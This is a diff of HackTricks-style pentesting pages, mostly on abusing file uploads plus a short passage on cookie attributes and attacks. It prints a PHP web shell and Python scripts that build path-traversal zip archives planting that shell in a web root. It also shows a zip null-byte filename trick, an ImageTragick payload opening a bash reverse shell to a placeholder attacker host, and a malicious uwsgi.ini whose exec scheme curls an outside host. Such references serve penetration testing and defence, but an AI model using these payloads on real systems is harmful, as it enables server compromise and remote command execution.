* [**Open Redirect** via uploading svg file](open-redirect.md#open-redirect-uploading-svg-files)
|
||||
* [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||||
* If you can **indicate the web server to catch an image from a URL** you could try to abuse a [SSRF](ssrf-server-side-request-forgery.md). If this **image** is going to be **saved** in some **public** site, you could also indicate a URL from [https://iplogger.org/invisible/](https://iplogger.org/invisible/) and **steal information of every visitor**.
|
||||
|
||||
Here’s a top 10 list of things that you can achieve by uploading \(from [link](https://twitter.com/SalahHasoneh1/status/1281274120395685889)\):
|
||||
|
||||
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
|
||||
2. **SVG**: Stored XSS / SSRF / XXE
|
||||
3. **GIF**: Stored XSS / SSRF
|
||||
4. **CSV**: CSV injection
|
||||
5. **XML**: XXE
|
||||
6. **AVI**: LFI / SSRF
|
||||
7. **HTML / JS** : HTML injection / XSS / Open redirect
|
||||
8. **PNG / JPEG**: Pixel flood attack \(DoS\)
|
||||
9. **ZIP**: RCE via LFI / DoS
|
||||
10. **PDF / PPTX**: SSRF / BLIND XXE
|
||||
|
||||
# Zip File Automatically decompressed Upload
|
||||
|
||||
If you can upload a ZIP that is going to be decompressed inside the server, you can do 2 things:
|
||||
|
||||
## Symlink
|
||||
|
||||
Upload a link containing soft links to other files, then, accessing the decompressed files you will access the linked files:
|
||||
|
||||
```text
|
||||
ln -s ../../../index.php symindex.txt
|
||||
zip --symlinks test.zip symindex.txt
|
||||
```
|
||||
|
||||
## Decompress in different folders
|
||||
|
||||
The decompressed files will be created in unexpected folders.
|
||||
|
||||
One could easily assume that this setup protects from OS-level command execution via malicious file uploads but unfortunately this is not true. Since ZIP archive format supports hierarchical compression and we can also reference higher level directories we can escape from the safe upload directory by abusing the decompression feature of the target application.
|
||||
|
||||
An automated exploit to create this kind of files can be found here: [https://github.com/ptoomey3/evilarc](https://github.com/ptoomey3/evilarc)
|
||||
|
||||
```python
|
||||
python evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
|
||||
```
|
||||
|
||||
Some python code to create a malicious zip:
|
||||
|
||||
```python
|
||||
#!/usr/bin/python
|
||||
import zipfile
|
||||
from cStringIO import StringIO
|
||||
|
||||
def create_zip():
|
||||
f = StringIO()
|
||||
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
|
||||
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
|
||||
z.writestr('otherfile.xml', 'Content of the file')
|
||||
z.close()
|
||||
zip = open('poc.zip','wb')
|
||||
zip.write(f.getvalue())
|
||||
zip.close()
|
||||
|
||||
create_zip()
|
||||
```
|
||||
|
||||
To achieve remote command execution I took the following steps:
|
||||
|
||||
1. Create a PHP shell:
|
||||
|
||||
```php
|
||||
<?php
|
||||
if(isset($_REQUEST['cmd'])){
|
||||
$cmd = ($_REQUEST['cmd']);
|
||||
system($cmd);
|
||||
}?>
|
||||
```
|
||||
|
||||
2. Use “file spraying” and create a compressed zip file:
|
||||
|
||||
```text
|
||||
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
|
||||
root@s2crew:/tmp# ls *.php
|
||||
simple-backdoor.php xxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php
|
||||
xxAcmd.php xxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php
|
||||
xxAxxAcmd.php xxAxxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAxxAcmd.php
|
||||
root@s2crew:/tmp# zip cmd.zip xx*.php
|
||||
adding: xxAcmd.php (deflated 40%)
|
||||
adding: xxAxxAcmd.php (deflated 40%)
|
||||
adding: xxAxxAxxAcmd.php (deflated 40%)
|
||||
adding: xxAxxAxxAxxAcmd.php (deflated 40%)
|
||||
adding: xxAxxAxxAxxAxxAcmd.php (deflated 40%)
|
||||
adding: xxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
|
||||
adding: xxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
|
||||
adding: xxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
|
||||
adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
|
||||
adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
|
||||
root@s2crew:/tmp#
|
||||
```
|
||||
|
||||
3.Use a hexeditor or vi and change the “xxA” to “../”, I used vi:
|
||||
|
||||
```text
|
||||
:set modifiable
|
||||
:%s/xxA/..\//g
|
||||
:x!
|
||||
```
|
||||
|
||||
Done!
|
||||
|
||||
Only one step remained: Upload the ZIP file and let the application decompress it! If it is succeeds and the web server has sufficient privileges to write the directories there will be a simple OS command execution shell on the system:
|
||||
|
||||
[![b1](https://blog.silentsignal.eu/wp-content/uploads/2014/01/b1-300x106.png)](https://blog.silentsignal.eu/wp-content/uploads/2014/01/b1.png)
|
||||
|
||||
**Reference**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
|
||||
|
||||
## Decompress with a different name
|
||||
|
||||
Sometimes an application will block the loading of a file by checking its extension inside the zip file. If this verification is superficial, ie by checking the name of the file inside the local field header, it can be circumvented by making the application believe that the file has such an extension, whereas it will have another once decompressed.
|
||||
|
||||
We can reuse the previous script to make a zip file.
|
||||
|
||||
```python
|
||||
import zipfile
|
||||
from io import BytesIO
|
||||
|
||||
def create_zip():
|
||||
f = BytesIO()
|
||||
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
|
||||
z.writestr('shell.php .pdf', '<?php echo system($_REQUEST["cmd"]); ?>')
|
||||
z.close()
|
||||
zip = open('poc.zip','wb')
|
||||
zip.write(f.getvalue())
|
||||
zip.close()
|
||||
|
||||
create_zip()
|
||||
```
|
||||
|
||||
Note that the name has a space inside of it. Now you can edit the generated zip file with an hex editor, and change this char in the field name placed inside the Central Directory Header by a null byte `00`:
|
||||
|
||||
```bash
|
||||
# before changing the name of the file inside the Central Directory header
|
||||
00000080: 0000 0073 6865 6c6c 2e70 6870 202e 7064 ...shell.php .pd
|
||||
# after changing the name of the file inside the Central Directory header
|
||||
00000080: 0000 0073 6865 6c6c 2e70 6870 002e 7064 ...shell.php..pd
|
||||
```
|
||||
|
||||
When the application will check the filename of the file inside the zip, the name used for this check will be the name of the local file header, **but not if the zip is encrypted** (see the pkzip specification). The name used to store the file will be the name of the central directory header when 7z or unzip see a difference between the two names. Thanks to the null byte, the name will be `shell.php`.
|
||||
|
||||
When decompressed :
|
||||
|
||||
```bash
|
||||
7z e poc.zip
|
||||
ls
|
||||
shell.php
|
||||
```
|
||||
**References**:
|
||||
|
||||
[https://users.cs.jmu.edu/buchhofp/forensics/formats/pkzip.html](https://users.cs.jmu.edu/buchhofp/forensics/formats/pkzip.html)
|
||||
|
||||
[https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT)
|
||||
|
||||
# ImageTragic
|
||||
|
||||
Upload this content with an image extension to exploit the vulnerability **\(ImageMagick , 7.0.1-1\)**
|
||||
|
||||
```text
|
||||
push graphic-context
|
||||
viewbox 0 0 640 480
|
||||
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
|
||||
pop graphic-context
|
||||
```
|
||||
|
||||
# Embedding PHP Shell on PGN
|
||||
|
||||
The primary reason putting a web shell in the IDAT chunk is that it has the ability to bypass resize and re-sampling operations - PHP-GD contains two functions to do this [imagecopyresized](http://php.net/manual/en/function.imagecopyresized.php) and [imagecopyresampled](http://php.net/manual/en/function.imagecopyresampled.php).
|
||||
|
||||
Read this post: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
|
||||
# Polyglot Files
|
||||
|
||||
Polyglots, in a security context, are files that are a valid form of multiple different file types. For example, a [GIFAR](https://en.wikipedia.org/wiki/Gifar) is both a GIF and a RAR file. There are also files out there that can be both GIF and JS, both PPT and JS, etc.
|
||||
|
||||
Polyglot files are often used to bypass protection based on file types. Many applications that allow users to upload files only allow uploads of certain types, such as JPEG, GIF, DOC, so as to prevent users from uploading potentially dangerous files like JS files, PHP files or Phar files.
|
||||
|
||||
This helps to upload a file that complins with the format of several different formats. It can allows you to upload a PHAR file \(PHp ARchive\) that also looks like a JPEG, but probably you will still needs a valid extension and if the upload function doesn't allow it this won't help you.
|
||||
|
||||
More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
@ -118,13 +118,16 @@ The `.inc` extension is sometimes used for php files that are only used to **imp
|
|||
|
||||
If you can upload a XML file into a Jetty server you can obtain [RCE because **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** So, as mentioned in the following image, upload the XML file to `$JETTY_BASE/webapps/` and expect the shell!
|
||||
|
||||
![](<../../.gitbook/assets/image (1) (3) (1) (1) (1).png>)
|
||||
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../.gitbook/assets/image (1) (3) (1) (1) (1).png>)
|
||||
|
||||
## **uWSGI RCE**
|
||||
|
||||
If you can replace the `.ini` configuration file of a [**uWSGI server you can obtain RCE**](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)**.** Indeed uWSGI configuration files can include “magic” variables, placeholders and operators defined with a precise syntax. The ‘@’ operator in particular is used in the form of @(filename) to include the contents of a file. Many uWSGI schemes are supported, including “exec” - useful to read from a process’s standard output. These operators can be weaponized for Remote Command Execution or Arbitrary File Write/Read when a .ini configuration file is parsed:
|
||||
For a detailed exploration of this vulnerability check the original research: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
||||
|
||||
Example of malicious `uwsgi.ini` file:
|
||||
|
||||
Remote Command Execution (RCE) vulnerabilities can be exploited in uWSGI servers if one has the capability to modify the `.ini` configuration file. uWSGI configuration files leverage a specific syntax to incorporate "magic" variables, placeholders, and operators. Notably, the '@' operator, utilized as `@(filename)`, is designed to include the contents of a file. Among the various supported schemes in uWSGI, the "exec" scheme is particularly potent, allowing the reading of data from a process's standard output. This feature can be manipulated for nefarious purposes such as Remote Command Execution or Arbitrary File Write/Read when a `.ini` configuration file is processed.
|
||||
|
||||
Consider the following example of a harmful `uwsgi.ini` file, showcasing various schemes:
|
||||
|
||||
```ini
|
||||
[uwsgi]
|
||||
|
@ -144,9 +147,9 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
|
|||
characters = @(call://uwsgi_func)
|
||||
```
|
||||
|
||||
When the **configuration** file will be **parsed** **payload** will be **executed**. Note that for the config to be parsed, the **process need to be restarted** (crash? DoS?) or the file **autoreloaded** (an option that could be in use indicates the seconds to reload the file if a change is found).
|
||||
The execution of the payload occurs during the parsing of the configuration file. For the configuration to be activated and parsed, the uWSGI process must either be restarted (potentially after a crash or due to a Denial of Service attack) or the file must be set to auto-reload. The auto-reload feature, if enabled, reloads the file at specified intervals upon detecting changes.
|
||||
|
||||
**Important Note:** The uWSGI parsing of configuration file is lax. The previous payload can be embedded inside a binary file(e.g. image, pdf, ...).
|
||||
It's crucial to understand the lax nature of uWSGI's configuration file parsing. Specifically, the discussed payload can be inserted into a binary file (such as an image or PDF), further broadening the scope of potential exploitation.
|
||||
|
||||
## **wget File Upload/SSRF Trick**
|
||||
|
||||
|
@ -178,12 +181,6 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
|||
|
||||
Note that **another option** you may be thinking of to bypass this check is to make the **HTTP server redirect to a different file**, so the initial URL will bypass the check by then wget will download the redirected file with the new name. This **won't work** **unless** wget is being used with the **parameter** `--trust-server-names` because **wget will download the redirected page with the name of the file indicated in the original URL**.
|
||||
|
||||
#### Other resources
|
||||
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
|
||||
* [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner)
|
||||
* [https://github.com/almandin/fuxploider](https://github.com/almandin/fuxploider)
|
||||
* [https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)
|
||||
|
||||
## Tools
|
||||
|
||||
|
@ -207,7 +204,7 @@ Note that **another option** you may be thinking of to bypass this check is to m
|
|||
* Upload the \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content to check if the server has any **antivirus**
|
||||
* Check if there is any **size limit** uploading files
|
||||
|
||||
Here’s a top 10 list of things that you can achieve by uploading (from [link](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
||||
Here’s a top 10 list of things that you can achieve by uploading (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
||||
|
||||
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
|
||||
2. **SVG**: Stored XSS / SSRF / XXE
|
||||
|
@ -247,20 +244,20 @@ tar -cvf test.tar symindex.txt
|
|||
|
||||
### Decompress in different folders
|
||||
|
||||
The decompressed files will be created in unexpected folders.
|
||||
The unexpected creation of files in directories during decompression is a significant issue. Despite initial assumptions that this setup might guard against OS-level command execution through malicious file uploads, the hierarchical compression support and directory traversal capabilities of the ZIP archive format can be exploited. This allows attackers to bypass restrictions and escape secure upload directories by manipulating the decompression functionality of the targeted application.
|
||||
|
||||
One could easily assume that this setup protects from OS-level command execution via malicious file uploads but unfortunately this is not true. Since ZIP archive format supports hierarchical compression and we can also reference higher level directories we can escape from the safe upload directory by abusing the decompression feature of the target application.
|
||||
|
||||
An automated exploit to create this kind of files can be found here: [**https://github.com/ptoomey3/evilarc**](https://github.com/ptoomey3/evilarc)
|
||||
An automated exploit to craft such files is available at [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). The utility can be used as shown:
|
||||
|
||||
```python
|
||||
# Listing available options
|
||||
python2 evilarc.py -h
|
||||
# Creating a malicious archive
|
||||
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
|
||||
```
|
||||
|
||||
You can also use the **symlink trick with evilarc**, if the flag is in `/flag.txt` make sure you create a **symlink to that file** and **create that file in your system** so when you call evilarc it **doesn't error**.
|
||||
Additionally, the **symlink trick with evilarc** is an option. If the objective is to target a file like `/flag.txt`, a symlink to that file should be created in your system. This ensures that evilarc does not encounter errors during its operation.
|
||||
|
||||
Some python code to create a malicious zip:
|
||||
Below is an example of Python code used to create a malicious zip file:
|
||||
|
||||
```python
|
||||
#!/usr/bin/python
|
||||
|
@ -280,59 +277,41 @@ def create_zip():
|
|||
create_zip()
|
||||
```
|
||||
|
||||
To achieve remote command execution I took the following steps:
|
||||
**Abusing compression for file spraying**
|
||||
|
||||
1. Create a PHP shell:
|
||||
For further details **check the original post in**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
|
||||
|
||||
```php
|
||||
<?php
|
||||
if(isset($_REQUEST['cmd'])){
|
||||
$cmd = ($_REQUEST['cmd']);
|
||||
system($cmd);
|
||||
}?>
|
||||
```
|
||||
|
||||
1. Use “file spraying” and create a compressed zip file:
|
||||
1. **Creating a PHP Shell**:
|
||||
PHP code is written to execute commands passed through the `$_REQUEST` variable.
|
||||
```php
|
||||
<?php
|
||||
if(isset($_REQUEST['cmd'])){
|
||||
$cmd = ($_REQUEST['cmd']);
|
||||
system($cmd);
|
||||
}?>
|
||||
```
|
||||
|
||||
```
|
||||
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
|
||||
root@s2crew:/tmp# ls *.php
|
||||
simple-backdoor.php xxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php
|
||||
xxAcmd.php xxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php
|
||||
xxAxxAcmd.php xxAxxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAxxAcmd.php
|
||||
root@s2crew:/tmp# zip cmd.zip xx*.php
|
||||
adding: xxAcmd.php (deflated 40%)
|
||||
adding: xxAxxAcmd.php (deflated 40%)
|
||||
adding: xxAxxAxxAcmd.php (deflated 40%)
|
||||
adding: xxAxxAxxAxxAcmd.php (deflated 40%)
|
||||
adding: xxAxxAxxAxxAxxAcmd.php (deflated 40%)
|
||||
adding: xxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
|
||||
adding: xxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
|
||||
adding: xxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
|
||||
adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
|
||||
adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
|
||||
root@s2crew:/tmp#
|
||||
```
|
||||
2. **File Spraying and Compressed File Creation**:
|
||||
Multiple files are created and a zip archive is assembled containing these files.
|
||||
```bash
|
||||
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
|
||||
root@s2crew:/tmp# zip cmd.zip xx*.php
|
||||
```
|
||||
|
||||
3.Use a hexeditor or vi and change the “xxA” to “../”, I used vi:
|
||||
3. **Modification with a Hex Editor or vi**:
|
||||
The names of the files inside the zip are altered using vi or a hex editor, changing "xxA" to "../" to traverse directories.
|
||||
```vi
|
||||
:set modifiable
|
||||
:%s/xxA/..\//g
|
||||
:x!
|
||||
```
|
||||
|
||||
```
|
||||
:set modifiable
|
||||
:%s/xxA/..\//g
|
||||
:x!
|
||||
```
|
||||
|
||||
Done!
|
||||
|
||||
Only one step remained: Upload the ZIP file and let the application decompress it! If it is succeeds and the web server has sufficient privileges to write the directories there will be a simple OS command execution shell on the system:
|
||||
|
||||
[![b1](https://blog.silentsignal.eu/wp-content/uploads/2014/01/b1-300x106.png)](https://blog.silentsignal.eu/wp-content/uploads/2014/01/b1.png)
|
||||
|
||||
**Reference**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
|
||||
|
||||
## ImageTragic
|
||||
|
||||
Upload this content with an image extension to exploit the vulnerability **(ImageMagick , 7.0.1-1)**
|
||||
(form the [exploit](https://www.exploit-db.com/exploits/39767))
|
||||
|
||||
```
|
||||
push graphic-context
|
||||
|
@ -343,20 +322,32 @@ pop graphic-context
|
|||
|
||||
## Embedding PHP Shell on PNG
|
||||
|
||||
The primary reason putting a web shell in the IDAT chunk is that it has the ability to bypass resize and re-sampling operations - PHP-GD contains two functions to do this [imagecopyresized](http://php.net/manual/en/function.imagecopyresized.php) and [imagecopyresampled](http://php.net/manual/en/function.imagecopyresampled.php).
|
||||
Embedding a PHP shell in the IDAT chunk of a PNG file can effectively bypass certain image processing operations. The functions `imagecopyresized` and `imagecopyresampled` from PHP-GD are particularly relevant in this context, as they are commonly used for resizing and resampling images, respectively. The ability of the embedded PHP shell to remain unaffected by these operations is a significant advantage for certain use cases.
|
||||
|
||||
Read this post: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
A detailed exploration of this technique, including its methodology and potential applications, is provided in the following article: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). This resource offers a comprehensive understanding of the process and its implications.
|
||||
|
||||
More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
|
||||
## Polyglot Files
|
||||
|
||||
Polyglots, in a security context, are files that are a valid form of multiple different file types. For example, a [GIFAR](https://en.wikipedia.org/wiki/Gifar) is both a GIF and a RAR file. There are also files out there that can be both GIF and JS, both PPT and JS, etc.
|
||||
Polyglot files serve as a unique tool in cybersecurity, acting as chameleons that can validly exist in multiple file formats simultaneously. An intriguing example is a [GIFAR](https://en.wikipedia.org/wiki/Gifar), a hybrid that functions both as a GIF and a RAR archive. Such files aren't limited to this pairing; combinations like GIF and JS or PPT and JS are also feasible.
|
||||
|
||||
Polyglot files are often used to bypass protection based on file types. Many applications that allow users to upload files only allow uploads of certain types, such as JPEG, GIF, DOC, so as to prevent users from uploading potentially dangerous files like JS files, PHP files or Phar files.
|
||||
The core utility of polyglot files lies in their capacity to circumvent security measures that screen files based on type. Common practice in various applications entails permitting only certain file types for upload—like JPEG, GIF, or DOC—to mitigate the risk posed by potentially harmful formats (e.g., JS, PHP, or Phar files). However, a polyglot, by conforming to the structural criteria of multiple file types, can stealthily bypass these restrictions.
|
||||
|
||||
This helps to upload a file that complins with the format of several different formats. It can allows you to upload a PHAR file (PHp ARchive) that also looks like a JPEG, but probably you will still needs a valid extension and if the upload function doesn't allow it this won't help you.
|
||||
Despite their adaptability, polyglots do encounter limitations. For instance, while a polyglot might simultaneously embody a PHAR file (PHp ARchive) and a JPEG, the success of its upload might hinge on the platform's file extension policies. If the system is stringent about allowable extensions, the mere structural duality of a polyglot may not suffice to guarantee its upload.
|
||||
|
||||
More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
|
||||
## References
|
||||
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
|
||||
* [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner)
|
||||
* [https://github.com/almandin/fuxploider](https://github.com/almandin/fuxploider)
|
||||
* [https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)
|
||||
* [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
* [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
|
||||
|
||||
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
|
||||
**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
|
||||
|
||||
|
|
|
@ -22,39 +22,37 @@ Find vulnerabilities that matter most so you can fix them faster. Intruder track
|
|||
|
||||
***
|
||||
|
||||
## Cookies Attributes
|
||||
## Cookie Attributes
|
||||
|
||||
### Expires & Max-Age
|
||||
Cookies come with several attributes that control their behavior in the user's browser. Here’s a rundown of these attributes in a more passive voice:
|
||||
|
||||
* `Expires` sets an expiry date for when a cookie gets deleted
|
||||
* `Max-age` sets the time in seconds for when a cookie will be deleted **(use this, it’s no longer 2009)**
|
||||
### Expires and Max-Age
|
||||
|
||||
### **Domain**
|
||||
The expiry date of a cookie is determined by the `Expires` attribute. Conversely, the `Max-age` attribute defines the time in seconds until a cookie is deleted. **Opt for `Max-age` as it reflects more modern practices.**
|
||||
|
||||
The `Domain` attribute specifies **which hosts can receive a cookie**. If unspecified, the attribute **defaults** to the **same host** that set the cookie, _**excluding subdomains**_. **If `Domain` is** **specified**, then **subdomains are always included**. Therefore, specifying `Domain` is less restrictive than omitting it. However, it can be helpful when subdomains need to share information about a user.
|
||||
### Domain
|
||||
|
||||
For example, if you set `Domain=mozilla.org`, cookies are available on subdomains like `developer.mozilla.org`. But if you don't, the cookie won't be sent to subdomains.
|
||||
The hosts to receive a cookie are specified by the `Domain` attribute. By default, this is set to the host that issued the cookie, not including its subdomains. However, when the `Domain` attribute is explicitly set, it encompasses subdomains as well. This makes the specification of the `Domain` attribute a less restrictive option, useful for scenarios where cookie sharing across subdomains is necessary. For instance, setting `Domain=mozilla.org` makes cookies accessible on its subdomains like `developer.mozilla.org`.
|
||||
|
||||
If a **subdomain** `sub.example.com` **sets a cookie** with _domain_ attribute of **`.example.com`**, it will be **sent** on requests to the **parent domain.**
|
||||
### Path
|
||||
|
||||
### **Path**
|
||||
A specific URL path that must be present in the requested URL for the `Cookie` header to be sent is indicated by the `Path` attribute. This attribute considers the `/` character as a directory separator, allowing for matches in subdirectories as well.
|
||||
|
||||
The `Path` attribute indicates a **URL path that must exist in the requested URL to send the `Cookie` header**. The `%x2F` ("/") character is considered a directory separator, and subdirectories match as well.
|
||||
### Ordering Rules
|
||||
|
||||
#### Order
|
||||
|
||||
When 2 cookies have the **same name** the one that is sent is:
|
||||
|
||||
* The one with the **longest path** matching the URL path
|
||||
* The **newest** one if both have the same path
|
||||
When two cookies bear the same name, the one chosen for sending is based on:
|
||||
- The cookie matching the longest path in the requested URL.
|
||||
- The most recently set cookie if the paths are identical.
|
||||
|
||||
### SameSite
|
||||
|
||||
This will indicate to the browser if the **cookie** can be sent **from other domains**. It has 3 possible values:
|
||||
- The `SameSite` attribute dictates whether cookies are sent on requests originating from third-party domains. It offers three settings:
|
||||
- **Strict**: Restricts the cookie from being sent on third-party requests.
|
||||
- **Lax**: Allows the cookie to be sent with GET requests initiated by third-party websites.
|
||||
- **None**: Permits the cookie to be sent from any third-party domain.
|
||||
|
||||
Remember, while configuring cookies, understanding these attributes can help ensure they behave as expected across different scenarios.
|
||||
|
||||
* **Strict**: The cookie will not be sent along with a request by third party websites.
|
||||
* **Lax**: The cookie will be sent along with the GET request initiated by third party websites.
|
||||
* **None**: The cookie is sent from any third party domain
|
||||
|
||||
| **Request Type** | **Example Code** | **Cookies Sent When** |
|
||||
| ---------------- | ---------------------------------- | --------------------- |
|
||||
|
@ -98,27 +96,31 @@ The request will **only** send the cookie in an HTTP request only if the request
|
|||
|
||||
## Cookies Prefixes
|
||||
|
||||
**`__Secure-` prefix**: must be set with the `secure` flag from a secure page (HTTPS).
|
||||
Cookies prefixed with `__Secure-` are required to be set alongside the `secure` flag from pages that are secured by HTTPS.
|
||||
|
||||
**`__Host-` prefix**: must be set with the `secure` flag, must be from a secure page (HTTPS), must not have a domain specified (and therefore, are not sent to subdomains), and the path must be `/`.
|
||||
For cookies prefixed with `__Host-`, several conditions must be met:
|
||||
- They must be set with the `secure` flag.
|
||||
- They must originate from a page secured by HTTPS.
|
||||
- They are forbidden from specifying a domain, preventing their transmission to subdomains.
|
||||
- The path for these cookies must be set to `/`.
|
||||
|
||||
`__Host-` prefixed cookies cannot be sent to superdomains (cookies from subdomains to domains) or subdomains (cookies from domains to subdomains), so, if you want to isolate your application cookies, prefixing everything with `__Host-` is not a bad idea.
|
||||
It is important to note that cookies prefixed with `__Host-` are not allowed to be sent to superdomains or subdomains. This restriction aids in isolating application cookies. Thus, employing the `__Host-` prefix for all application cookies can be considered a good practice for enhancing security and isolation.
|
||||
|
||||
## Cookies Attacks
|
||||
|
||||
If you find some kind of custom cookie containing sensitive data (sessionID, username, emails, etc.) you should definitely try to exploit it
|
||||
If a custom cookie contains sensitive data check it (specially if you are playing a CTF), as it might be vulnerable.
|
||||
|
||||
### Decoding the cookie
|
||||
### Decoding and Manipulating Cookies
|
||||
|
||||
If the **cookie** is using some **Base encoding** (like Base64) or similar you may be able to **decode it**, **change** the **content** and **impersonate** arbitrary users.
|
||||
